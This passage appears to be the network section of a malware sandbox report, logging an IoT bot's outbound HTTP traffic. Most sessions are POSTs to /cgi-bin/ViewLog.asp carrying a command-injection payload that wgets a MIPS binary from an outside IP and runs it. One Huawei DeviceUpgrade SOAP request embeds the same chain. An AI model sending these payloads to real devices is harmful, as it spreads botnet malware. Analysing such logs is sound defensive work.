                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                201192.168.2.154656294.120.162.1068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.432383060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                202192.168.2.1552988156.241.91.13437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.467961073 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                203192.168.2.15627148.134.41.11023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.611004114 CET121INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 0a
                                                Data Ascii: Unauthorized ...IP Address:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                204192.168.2.155487262.29.40.158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.849509001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                205192.168.2.154656262.29.84.2098080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.849678993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                206192.168.2.154964295.86.71.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.888621092 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                207192.168.2.155972894.41.109.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.898333073 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:44.144083977 CET370INHTTP/1.1 403 Forbidden
                                                Server: Web server
                                                Date: Thu, 23 Nov 2023 04:20:43 GMT
                                                Content-Type: text/html
                                                Content-Length: 151
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                208192.168.2.15329588.134.41.11023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.983671904 CET121INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 0a
                                                Data Ascii: Unauthorized ...IP Address:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                209192.168.2.154600294.213.39.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:44.055361032 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                210192.168.2.156029894.30.46.2518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:45.479484081 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                211192.168.2.154024231.200.121.1858080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:45.514535904 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                212192.168.2.154647494.121.178.528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:45.515499115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                213192.168.2.154872462.29.103.2408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:45.517724037 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                214192.168.2.155358862.29.98.2108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:45.518317938 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                215192.168.2.155117294.120.8.858080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:45.742153883 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                216192.168.2.1537262139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:46.405352116 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 31 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:18Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                217192.168.2.153636494.70.163.858080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:49.261310101 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:50.459634066 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                218192.168.2.155232631.136.98.728080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:49.448981047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:50.043723106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:51.195796967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:53.563564062 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:58.171411991 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
